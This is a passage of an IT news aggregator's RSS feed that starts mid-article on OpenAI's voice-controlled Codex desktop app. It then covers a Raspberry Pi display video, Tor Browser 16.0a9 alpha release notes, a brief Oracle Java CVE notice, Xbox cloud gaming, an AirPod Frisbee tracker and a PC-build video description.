</a>An OpenAI spokesperson told VentureBeat this is the first time voice activation has been included natively with Codex on the desktop. </p><p>OpenAI posted a <a href="https://youtu.be/E0ZMOschrTU?si=WWc8fZ2o0UtxrDFk">promotional video</a> showing some of its employees, Codex developer experience engineer Jason Liu and Codex technical staffer Guinness Chen, speaking to the same ChatGPT desktop app session in the same room, each issuing different instructions and conversing with the same model. </p><div></div><h2><b>New capabilities unlocked</b></h2><p>At its core, this integration relies on decoupling the real-time voice layer from the underlying execution engines.</p><p>While GPT-Live maintains fluid conversation—inserting natural verbal acknowledgments like "got it" without interrupting the user—it passes heavy computational workloads to background reasoning models. </p><p>On macOS, the desktop application incorporates "Appshots" and screen context features, allowing ChatGPT Voice to analyze the frontmost window alongside local files, codebase structures, and active plugins.</p><p>This architecture creates a pair-programming dynamic where developers talk through problems conversationally while agents execute tasks asynchronously. </p><p>Rather than manually stopping coding sessions to type detailed instructions or switch windows, developers direct the system hands-free. </p><p>The full-duplex engine dynamically decides when to speak, pause, or invoke tools, maintaining conversational state even as background agents process complex code modifications.</p><h2><b>Directing coding and complex builds with your voice alone</b></h2><p>The central operational capability in this update centers on multi-task execution across Codex and ChatGPT Work environments. </p><p>Software engineers can initiate multiple concurrent task threads from a single spoken prompt. For instance, a developer preparing to ship a feature can instruct the system to investigate an open authentication bug, review a pending API migration pull request, and generate missing unit tests simultaneously.</p><p>The desktop application coordinates these actions across disparate contexts, tracing issues through Slack conversations, GitHub repositories, and local codebases.</p><p>Developers can also verbally convert design mockups into working code, splitting tasks across frontend, backend, and testing layers. </p><p>With support for multi-folder projects (build 26.715) and remote execution via iOS, engineers can check task progress, answer agent prompts, and redirect active jobs without switching applications or managing individual processes line by line.</p><h2><b>Proprietary license</b></h2><p>OpenAI’s voice-enabled desktop release operates under a proprietary, commercial enterprise model. Access is restricted to paid subscribers across Plus, Pro, Business, Enterprise, and Education plans.</p><p>For individual developers and corporate engineering departments, this commercial structure means the model weights, voice processing pipelines, and agent state architectures remain fully closed. </p><p>Organizations cannot modify or self-host the underlying systems. Furthermore, tasks initiated via ChatGPT Voice consume standard usage allocations directly from existing Codex and ChatGPT Work plan quotas, treating voice-triggered actions identically to standard agentic workloads.</p><h2><b>Community reactions</b></h2><p>Developer communities immediately noted the implications of bringing continuous full-duplex voice to autonomous coding workflows. </p><p>Reacting to the build 26.715 release announcement—which details voice integration and multi-folder project support—AI Insider journalist <a href="https://x.com/ChrisGPT/status/2080375250139693293">@ChrisGPT noted on X</a>: "Today OpenAI will release voice and remote guidance for codex ! One step closer to personal AGI". </p><p>Early technical feedback highlights widespread enthusiasm for orchestrating complex agentic tasks hands-free, particularly when stepping away from the workstation or managing build pipelines remotely.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[the PERFECT Raspberry Pi wall dashboard?]]></title>
<description><![CDATA[Author: NetworkChuck - Bewertung: 319x - Views:3894 This video is sponsored by NetworkChuck Coffee. Grab a bag of Default Route (my favorite) and fuel your next build: https://ntck.co/coffee

Raspberry Pi sent me the new Raspberry Pi Touch Display 2, the 10 inch portrait version, and I mounted it...]]></description>
<link>https://tsecurity.de/de/3690019/it-security-video/the-perfect-raspberry-pi-wall-dashboard/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690019/it-security-video/the-perfect-raspberry-pi-wall-dashboard/</guid>
<pubDate>Thu, 23 Jul 2026 20:49:01 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: NetworkChuck - Bewertung: 319x - Views:3894 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/34D1imLordU?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>This video is sponsored by NetworkChuck Coffee. Grab a bag of Default Route (my favorite) and fuel your next build: https://ntck.co/coffee<br />
<br />
Raspberry Pi sent me the new Raspberry Pi Touch Display 2, the 10 inch portrait version, and I mounted it on my studio wall to run all my Home Assistant and homelab stuff. It is a gorgeous little screen (1200x1920, real IPS, 10 finger touch, 400 nits) and at $80 it is a steal. There is one catch though, and a lot of you are not going to like it: this thing only works on the Raspberry Pi 5 and the Compute Modules. Your Pi 3 or Pi 4 will not work at all.<br />
<br />
In this video I unbox it, walk through everything that is new versus the old touch display, hit a wall when it powered on and did absolutely nothing (turns out you have to update the firmware on your Pi 5, the EEPROM, before it will recognize the screen), mount it with nothing but a drill and some screws, and finally turn it into a beautiful Home Assistant dashboard using an open source kiosk app called TouchKio. Whether you are building a smart home wall panel, a homelab status board, or you just want your Raspberry Pi to show off what it is doing, this is a really good option.<br />
<br />
Join the NetworkChuck Academy!: https://ntck.co/NCAcademy<br />
<br />
RESOURCES / LINKS:<br />
🌐 Raspberry Pi Touch Display 2: https://www.raspberrypi.com/products/touch-display-2/<br />
🛠️ TouchKio (open source kiosk app): https://github.com/leukipp/touchkio<br />
🏠 Home Assistant: https://www.home-assistant.io/<br />
🖥️ Proxmox: https://www.proxmox.com/<br />
📖 Update your Raspberry Pi firmware (EEPROM): https://www.raspberrypi.com/documentation/computers/raspberry-pi.html<br />
☕ NetworkChuck Coffee (Default Route): https://ntck.co/coffee<br />
<br />
TIMESTAMPS:<br />
0:00 - Unboxing the new Raspberry Pi Touch Display 2<br />
0:45 - What is new on the 10 inch portrait display<br />
1:50 - The catch: Raspberry Pi 5 and Compute Modules only<br />
2:48 - It powered on and nothing happened<br />
3:16 - The fix: updating your Raspberry Pi 5 firmware<br />
5:55 - Building the Home Assistant dashboard with TouchKio<br />
<br />
**Raspberry Pi provided the Touch Display 2 for this video, no strings attached. All opinions are my own.<br />
<br />
SUPPORT NETWORKCHUCK:<br />
☕☕ COFFEE and MERCH: https://ntck.co/coffee<br />
<br />
READY TO LEARN??<br />
🔥🔥Join the NetworkChuck Academy!: https://ntck.co/NCAcademy<br />
📚 CCNA Course: https://ntck.co/ccna<br />
<br />
FOLLOW ME EVERYWHERE:<br />
Instagram: https://www.instagram.com/networkchuck/<br />
X/Twitter: https://x.com/networkchuck<br />
Facebook: https://www.facebook.com/NetworkChuck/<br />
Join the Discord server: https://ntck.co/discord<br />
<br />
Some links in this description are affiliate links. If you buy through them, I may earn a small commission at no extra cost to you.<br />
<br />
#raspberrypi #homeassistant #homelab<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Alpha Release: Tor Browser 16.0a9]]></title>
<description><![CDATA[Tor Browser 16.0a9 is now available from the Tor Browser download page and also from our distribution directory.
This version includes important security updates to Firefox.
⚠️ Reminder: The Tor Browser Alpha release-channel is for testing only. As such, Tor Browser Alpha is not intended for gene...]]></description>
<link>https://tsecurity.de/de/3689969/it-security-tools/new-alpha-release-tor-browser-160a9/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689969/it-security-tools/new-alpha-release-tor-browser-160a9/</guid>
<pubDate>Thu, 23 Jul 2026 20:25:02 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<article class="blog-post">
    <picture>
      <source media="(min-width:415px)" srcset="https://blog.torproject.org/new-alpha-release-tor-browser-160a9/lead.webp" type="image/webp">
<source srcset="https://blog.torproject.org/new-alpha-release-tor-browser-160a9/lead_small.webp" type="image/webp">

      <img class="lead" referrerpolicy="no-referrer" loading="lazy" src="https://blog.torproject.org/new-alpha-release-tor-browser-160a9/lead.png">
    </picture>
    <div class="body"><p>Tor Browser 16.0a9 is now available from the <a href="https://www.torproject.org/download/alpha/">Tor Browser download page</a> and also from our <a href="https://www.torproject.org/dist/torbrowser/16.0a9/">distribution directory</a>.</p>
<p>This version includes important <a href="https://www.mozilla.org/en-US/security/advisories/">security updates</a> to Firefox.</p>
<p>⚠️ <strong>Reminder</strong>: The Tor Browser Alpha release-channel is for <a href="https://community.torproject.org/user-research/become-tester/">testing only</a>. As such, Tor Browser Alpha is not intended for general use because it is more likely to include bugs affecting usability, security, and privacy.</p>
<p>Moreover, Tor Browser Alphas are now based on Firefox's betas. Please read more about this important change in the <a href="https://blog.torproject.org/future-of-tor-browser-alpha/">Future of Tor Browser Alpha</a> blog post.</p>
<p>If you are an at-risk user, require strong anonymity, or just want a reliably-working browser, please stick with the <a href="https://www.torproject.org/download/">stable release channel</a>.</p>
<h2>It's ESR transition season again!</h2>
<p>Well actually, it has been ESR transition season throughout this entire release cycle! As described in the aforementioned <a href="https://blog.torproject.org/future-of-tor-browser-alpha/">Future of Tor Browser Alpha</a> blog post, we have been incrementally rebasing our Alpha channel on Firefox betas since December of last year. As a result, we now stand before you with Tor Browser 16.0a9 which is based on Firefox ESR 153.</p>
<p>We will continue rebasing Tor Browser 17.0 Alpha branches on Firefox betas throughout the remainder of the Tor Browser 16.0 release cycle. However, new feature-work for now must be put on hold for a few reasons:</p>
<ul>
<li>We must focus our attention on resolving our Bugzilla Audit issues to ensure the features we have inherited from upstream comply Tor Browser's <a href="https://gitlab.torproject.org/tpo/applications/wiki/-/wikis/Design-Documents/Tor-Browser-Design-Doc">threat model</a> and to patch any changes which do not.</li>
<li>Feature work targeting 16.0 stable would need to be cherry-pick'd onto our 17.0 Alpha branches to ensure we don't lose any work. The more invasive a feature patch is, the harder it will be to port to newer versions. This would also be a potentially error-prone process and there is some risk we would lose patches along the way.</li>
<li>We need to finish stabilizing as soon as possible as we have hard external deadlines which cannot be moved: the end-of-life of Firefox ESR 140 on October 13th and the Google Play Minimum Target API Level requirement on November 1st</li>
</ul>
<h2>Challenges and Triumphs</h2>
<h3>💍 Sharing the Load</h3>
<p>Rebasing the hundreds of Tor Browser patches onto newer versions of Firefox is a challenging task. It is like maintaining the structural stability of sand-castle at high-tide with the waves crashing all around you.</p>
<p>As such, it quickly become clear early in this new process that we would need to do something if we wanted to avoid burning out the few developers typically involved in this work. To mitigate this, we shared the knowledge internally and spread the work out across all eight members of the team. This way, each developer was only responsible for at most two or three rebases throughout the entire release cycle.</p>
<h3>🎨 UI Code Churn</h3>
<p>Over the past year, Firefox has developed and integrated two major changes to the UI in Firefox: a <a href="https://blog.mozilla.org/en/firefox/firefox-settings/">redesign</a> of about:preferences in Firefox Desktop and a <a href="https://www.androidsage.com/2026/02/24/firefox-browser-updated-with-new-ui-and-material-3-expressive-hint/">migration</a> from Material 2 to Material 3 in Firefox Android.</p>
<p>Adapting to these types of changes to the frontend are typically rather time-consuming for us, as many (if not the majority) of our patches modify Firefox's UI in some way. For example, we have an entire preferences page on Tor Browser desktop dedicated to configuring how the browser connects to the Tor Network. On Android, we similarly have various additions to the menus, configuration options, and custom UI.</p>
<p>Whenever Mozilla modifies their design systems and Firefox's user interface, we necessarily have to adapt our own custom additions to match. Otherwise, our Tor Browser-specific UI elements would look completely out of place and potentially confuse users (as well as simply looking unprofessional). Therefore, each of these upstream changes requires collaboration with the Tor Project's UX team to update our features' designs and of course development time to implement.</p>
<p>In addition to the time-cost associated with the extra engineering and UX collaboration, very often our old patches simply do not apply cleanly due to the amount of code which has changed. For example, the about:preferences changes on Firefox Desktop are essentially a complete re-write which means we also have to completely re-write our own settings changes without regressing in functionality.</p>
<p>On the plus side, one benefit of our new processes is that we have been able to spread out this work over the entire release cycle. In the past way of doing things, we would have discovered all UX elements which needed to be fixed, updated our designs, and re-implemented in the course of a few months during the old ESR transition season. Under this new way of working, we have been able to incrementally fix things throughout the development cycle.</p>
<p>The benefits of working this way does not just apply to UX of course. It is much easier to find regressions across the entire stack when rebasing between one major Firefox version at a time instead of across 12 or 13. It is also <em>much</em> easier for developers to fix individual regressions one at a time compared to diagnosing, disentangling, and fixing multiple bugs concurrently (divide et impera!).</p>
<h3>⚙️ Pending Google Target API Level Requirements</h3>
<p>Every year, Google requires new Android app releases to target an updated minimum API level. This means, we would not be able to upload new versions of Tor Browser Stable past a certain date (usually August 1st with an extension to November 1st typically possible) without first updating the app to support the new minimum target API level. Fortunately, we inherit most of the required changes from Mozilla when rebasing to the next major ESR.</p>
<p>However, this requirement does impose a hard deadline for the absolute latest we can responsibly stabilize Tor Browser Alpha and promote it to Stable. We've been fortunate in the past few years to make the deadline with a few days to spare (October 28th for Tor Browser 15, October 22nd for Tor Browser 14, etc). Given how far ahead of the curve we are this year, we are hoping to release about a month earlier in September (fingers crossed!).</p>
<h3>🤖 Android APKs too big</h3>
<p>The Google Play Store has a strict size limit of about 100 megabytes for Android applications. New functionality added to Firefox Android over the past year means a larger application which results in new headaches for Tor Browser developers. This release cycle was no exception to this rule and we have had to get <em>creative</em> with our size reductions.</p>
<p>In the past, we have been able reduce our package size though various methods including:</p>
<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/work_items/41500">Using custom size-reducing compiler flags</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/work_items/-41407">Compiling multiple pluggable-transports into a single unified binary to de-duplicate shared dependencies</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42386">Removing unused Firefox assets from the build</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42669">Replacing unused (but still linked) libraries with no-op stubs</a></li>
<li>and <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42607">countless other methods over there years</a></li>
</ul>
<p>Our most recent effort has been the most invasive yet! For some background, the Firefox application consists of (among other things): various shared libraries, the Firefox executable, a library known as 'xul' which contains most of Firefox's natively compiled functionality, and finally a file known as <code>omni.ja</code>. This <code>omni.ja</code> file is a <code>zip</code> archive which contains the JavaScript, HTML, images, and other assets used in Firefox.</p>
<p>This time around, to reduce the size of our Android package we have<a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/45086">changed how this archive is compressed</a>. We modified the Firefox build system to compress this archive with <code>xz</code> and we modified Firefox itself to decompress this archive at runtime. This work did require a few iterations to get right. In the end, we got back about 3 megabytes with these changes and got us once again under Google's imposed size budget.</p>
<h3>📉 Even Less Telemetry</h3>
<p>Over the years, we have worked to incrementally remove dependencies from Tor Browser Android as part of the aforementioned size reduction work. We of course inherit most of these dependencies from Firefox Android and unfortunately some of them can be labeled as 'trackers'. While we do disable telemetry by default at runtime, the code which implements it remains in the codebase.</p>
<p>We're happy to report that as of Tor Browser 16.0a8, are down to only 1 'tracker' library in the Tor Browser Android codebase: <code>Mozilla Telemetry</code>. Again, this telemetry <em>is</em> disabled at runtime, but this is one more unused dependency which we can <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/41295">hopefully remove in the future</a> (and maybe get some more bytes back!).</p>
<h2>Current Status</h2>
<p>We have:</p>
<ul>
<li>incrementally rebased Tor Browser and Tor Browser for Android to Firefox ESR 153 from Firefox ESR 140</li>
<li>updated the build systems with the latest dependencies and fixed a few reproducibility issues</li>
<li>triaged <em>most</em> of the upstream changes from the past year and flagged over 250 issues for further review (triaging of Firefox 153 is in progress)</li>
<li>resolved about half of these triaged issues</li>
</ul>
<p>For the remainder of this release cycle, we will be focusing on auditing these issues and fixing bugs until the 16.0 alpha series is ready to become Tor Browser Stable 16.0. We are optimistically targeting a September release, which would put us one month ahead of schedule compared to last year.</p>
<h2>Known Issues</h2>
<h3>🦊 Firefox Branding</h3>
<p>In some places in the browser there may be Firefox branding (e.g. logos, cute little foxes, etc) instead of Tor Browser branding. We're currently tracking one known instance in <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/44998">tor-browser#44998</a>. If you discover any other instances lurking about, please <a href="https://support.torproject.org/misc/bug-or-feedback/">open an issue</a>!</p>
<h3>🌐 All websites marked 'insecure' on Tor Browser Android</h3>
<p>Currently, the identity block in the URL bar on Tor Browser Android will always report insecure (e.g. a shield icon with a slash through it). For now, you can tap this icon and verify the certificate manually. This issue is being tracked in <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/45115">tor-browser#45115</a></p>
<h2>Send us your feedback</h2>
<p>Now is a great time to <a href="https://blog.torproject.org/vounteer-as-an-alpha-tester/">become an alpha tester</a>! If you find a bug or have a suggestion for how we could improve this release, <a href="https://support.torproject.org/misc/bug-or-feedback/">please let us know</a>.</p>
<h2>Full changelog</h2>
<p>The <a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/raw/main/projects/browser/Bundle-Data/Docs-TBB/ChangeLog.txt">full changelog</a> since Tor Browser 16.0a8 is:</p>
<ul>
<li>All Platforms<ul>
<li>Updated NoScript to 13.6.30.90201984</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/43819">Bug tor-browser#43819</a>: Show custom security level on android</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44748">Bug tor-browser#44748</a>: Revert Funding the Commons Implementations</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44811">Bug tor-browser#44811</a>: Remove the lock on pdfjs.disable.</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45101">Bug tor-browser#45101</a>: Rebase Tor Browser onto 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45131">Bug tor-browser#45131</a>: Security level is using an unsafe getBoolPref</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41831">Bug tor-browser-build#41831</a>: Update libevent to 2.1.13</li>
</ul>
</li>
<li>Windows + macOS + Linux<ul>
<li>Updated Firefox to 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44439">Bug tor-browser#44439</a>: Remove translate action from urlbar</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44883">Bug tor-browser#44883</a>: Remove urlbar quick action for labs</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45029">Bug tor-browser#45029</a>: Convert connection status settings to new design and config approach</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45055">Bug tor-browser#45055</a>: Rename --color-gray-05 to --color-gray-0</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45081">Bug tor-browser#45081</a>: Use the new "Acorn" icons on desktop</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45110">Bug tor-browser#45110</a>: Disable the settings redesign until ready for us</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45112">Bug tor-browser#45112</a>: Missing CSS border tokens in 153</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45132">Bug tor-browser#45132</a>: nsAppFileLocationProvider.cpp: use of undeclared identifier 'XRE_EXECUTABLE_FILE'</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41800">Bug tor-browser-build#41800</a>: Create a script that adapts the Tor Browser manual HTMLs to work in Tor Browser</li>
</ul>
</li>
<li>macOS<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45108">Bug tor-browser#45108</a>: Artifact generation fails due to missing .DS_Store in the branding directories</li>
</ul>
</li>
<li>Android<ul>
<li>Updated GeckoView to 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/43820">Bug tor-browser#43820</a>: Use SecurityLevel integration on android</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44157">Bug tor-browser#44157</a>: Remove secret setting toggle for Tab Management Redesign</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45045">Bug tor-browser#45045</a>: Remove moz asset in Downloads screen</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45103">Bug tor-browser#45103</a>: Disable broken "tab management"</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45109">Bug tor-browser#45109</a>: No value passed for parameter 'jsEnabled'</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45118">Bug tor-browser#45118</a>: Audit and disable Mozilla VPN promo</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45130">Bug tor-browser#45130</a>: Clean up TorHomePage padding</li>
</ul>
</li>
<li>Build System<ul>
<li>All Platforms<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41838">Bug tor-browser-build#41838</a>: Update personal_access_tokens URL in tools/fetch_changelogs.py</li>
</ul>
</li>
<li>Windows + Linux + Android<ul>
<li>Updated Go to 1.26.5</li>
</ul>
</li>
<li>Windows<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41819">Bug tor-browser-build#41819</a>: Fix windows-rs URL in projects/firefox/config</li>
</ul>
</li>
</ul>
</li>
</ul>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/applications">
          applications
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/releases">
          releases
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
</item>
<item>
<title><![CDATA[v 7.0.5]]></title>
<description><![CDATA[Improve slideshow preload / animation / swipes in rich messages.
Fix stories leaving empty space on chats list top.
Fix custom emoji frame size in favorite reactions.
Crash fixes.]]></description>
<link>https://tsecurity.de/de/3689881/downloads/v-705/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689881/downloads/v-705/</guid>
<pubDate>Thu, 23 Jul 2026 19:46:56 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>Improve slideshow preload / animation / swipes in rich messages.</li>
<li>Fix stories leaving empty space on chats list top.</li>
<li>Fix custom emoji frame size in favorite reactions.</li>
<li>Crash fixes.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-47063 | Oracle Java SE/GraalVM for JDK/GraalVM Enterprise Edition Libraries improper authorization (Nessus ID 329174)]]></title>
<description><![CDATA[A vulnerability was found in Oracle Java SE, GraalVM for JDK and GraalVM Enterprise Edition. It has been declared as problematic. This affects an unknown function of the component Libraries. The manipulation results in improper authorization.

This vulnerability is cataloged as CVE-2026-47063. Th...]]></description>
<link>https://tsecurity.de/de/3689730/sicherheitsluecken/cve-2026-47063-oracle-java-segraalvm-for-jdkgraalvm-enterprise-edition-libraries-improper-authorization-nessus-id-329174/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689730/sicherheitsluecken/cve-2026-47063-oracle-java-segraalvm-for-jdkgraalvm-enterprise-edition-libraries-improper-authorization-nessus-id-329174/</guid>
<pubDate>Thu, 23 Jul 2026 18:46:08 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/oracle:java_se">Oracle Java SE, GraalVM for JDK and GraalVM Enterprise Edition</a>. It has been declared as <a href="https://vuldb.com/kb/risk">problematic</a>. This affects an unknown function of the component <em>Libraries</em>. The manipulation results in improper authorization.

This vulnerability is cataloged as <a href="https://vuldb.com/cve/CVE-2026-47063">CVE-2026-47063</a>. The attack may be launched remotely. There is no exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft is testing free, ad-supported cloud gaming for Xbox Insiders]]></title>
<description><![CDATA[Xbox Insiders can stream games from their libraries for free in ad-supported streaming sessions starting today. The free streaming sessions are limited to games you already own, and sessions are capped at one hour. However, ads will only play "before sessions begin." It's also optional - you won'...]]></description>
<link>https://tsecurity.de/de/3689634/it-nachrichten/microsoft-is-testing-free-ad-supported-cloud-gaming-for-xbox-insiders/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689634/it-nachrichten/microsoft-is-testing-free-ad-supported-cloud-gaming-for-xbox-insiders/</guid>
<pubDate>Thu, 23 Jul 2026 18:04:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Xbox Insiders can stream games from their libraries for free in ad-supported streaming sessions starting today. The free streaming sessions are limited to games you already own, and sessions are capped at one hour. However, ads will only play "before sessions begin." It's also optional - you won't need to watch ads if you have […]]]></content:encoded>
</item>
<item>
<title><![CDATA[An AirPod-powered Frisbee tracker makes backyard throws scientific]]></title>
<description><![CDATA[A developer and Frisbee fan turned AirPods into a flying-disc stat tracker, using motion sensors to measure throws in a clever demonstration of what Apple's earbuds can do beyond playing audio.AirPods 4Sharhan demonstrated Kinapod Disc on Reddit on July 20. The setup requires users to make a smal...]]></description>
<link>https://tsecurity.de/de/3689282/ios-mac-os/an-airpod-powered-frisbee-tracker-makes-backyard-throws-scientific/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689282/ios-mac-os/an-airpod-powered-frisbee-tracker-makes-backyard-throws-scientific/</guid>
<pubDate>Thu, 23 Jul 2026 16:08:59 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A developer and Frisbee fan turned <a href="https://appleinsider.com/inside/airpods" title="AirPods" data-kpt="1">AirPods</a> into a flying-disc stat tracker, using motion sensors to measure throws in a clever demonstration of what Apple's earbuds can do beyond playing audio.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68335-144037-AirPods-4-case-xl.jpg" alt="White wireless earbuds resting in an open charging case on a soft gray fabric surface, with the case lid tilted back and earbuds partially seated in their slots" height="738"><span>AirPods 4</span></div><br>Sharhan <a href="https://www.reddit.com/r/airpods/comments/1v22xgq/airpods_can_track_frisbee_throws/">demonstrated Kinapod Disc</a> on Reddit on July 20. The setup requires users to make a small hole in the center of a flying disc and insert one AirPod stem-first.<br><br>Once it's mounted, the AirPod sends motion data to an <a href="https://appleinsider.com/inside/iphone" title="iPhone" data-kpt="1">iPhone</a> while Kinapod Disc detects each throw and records spin rate, total revolutions, estimated release speed, and airborne time.<br><br>It's a fun albeit expensive solution to the problem of throwing a plastic disc without enough statistics. It's also a clever use of motion sensors Apple builds into AirPods.<br><br><br> <a href="https://appleinsider.com/articles/26/07/23/an-airpod-powered-frisbee-tracker-makes-backyard-throws-scientific?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245036?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[PSU Installation & Cable Management Made Easy 🖥️ Part 6: How To Build A PC For Beginners 🎮]]></title>
<description><![CDATA[Author: Shannon Morse - Bewertung: 8x - Views:41 ⚡ It's time to power up the build! In this episode of my Beginner PC Build Series, we're installing the power supply (PSU), connecting motherboard and CPU power, routing SATA cables, and tackling one of the most satisfying parts of any PC build - c...]]></description>
<link>https://tsecurity.de/de/3689194/videos/psu-installation-cable-management-made-easy-part-6-how-to-build-a-pc-for-beginners/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689194/videos/psu-installation-cable-management-made-easy-part-6-how-to-build-a-pc-for-beginners/</guid>
<pubDate>Thu, 23 Jul 2026 15:21:48 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Shannon Morse - Bewertung: 8x - Views:41 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/0paViaFFoek?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>⚡ It's time to power up the build! In this episode of my Beginner PC Build Series, we're installing the power supply (PSU), connecting motherboard and CPU power, routing SATA cables, and tackling one of the most satisfying parts of any PC build - cable management.<br />
<br />
I'll explain what a power supply actually does, why wattage matters, what "fully modular" means, how to identify each cable, and my favorite cable management tips that make future upgrades and troubleshooting much easier.<br />
<br />
Whether you're building your very first gaming PC or just need a refresher, this step-by-step guide will help you wire everything correctly and keep your build clean.<br />
<br />
A huge thank you to ASUS and Kingston for partnering on this PC build series! ❤️<br />
<br />
👍 If you're enjoying the series, don't forget to subscribe so you don't miss the next episode where we install the graphics card and finish wiring the entire system!<br />
<br />
#PCBuild #GamingPC #CableManagement #PCBuilding #PowerSupply #ASUS #Kingston #CustomPC #DIYPC #BeginnerPCBuild<br />
<br />
https://pcpartpicker.com/user/snubsie/saved/#view=Htk84D  <br />
<br />
📺 Watch the Full PC Build Series: https://www.youtube.com/playlist?list=PLeYHKbaShxTHQVUHZfM8_44pjyI9LLzfe<br />
<br />
CPU: AMD Ryzen 9 9950X 4.3 GHz 16-Core Processor ($519.00 @ Amazon)<br />
Amazon: https://amzn.to/3O70PIU<br />
Best Buy: https://bestbuycreators.7tiv.net/YRWkZq<br />
B&H: https://bhpho.to/3PjZZcr<br />
<br />
CPU Cooler: Asus ROG Ryujin III ARGB Extreme 89.73 CFM Liquid CPU Cooler ($389.99 @ Amazon)<br />
Amazon: https://amzn.to/4bkdodD<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/DyDM4q<br />
B&H: https://bhpho.to/46EWdR4<br />
<br />
Motherboard: Asus ROG STRIX X870-A GAMING WIFI ATX AM5 Motherboard ($234.99 @ Amazon)<br />
Amazon: https://amzn.to/3NI9tO0<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/bORgn6<br />
B&H: https://bhpho.to/4ubyfa7<br />
<br />
Memory: Kingston FURY Beast RGB 64 GB (2 x 32 GB) DDR5-6400 CL32 Memory ($1359.99 @ Newegg - OOS) x 2<br />
Amazon: https://amzn.to/49SZug7<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/2anB4G<br />
<br />
Storage: Kingston NV3 2 TB M.2-2280 PCIe 4.0 X4 NVME Solid State Drive ($311.99 @ Amazon)<br />
Amazon: https://amzn.to/4bSOyBO<br />
Best Buy: https://bestbuycreators.7tiv.net/vPeg7N<br />
B&H: https://bhpho.to/4bpm9m9<br />
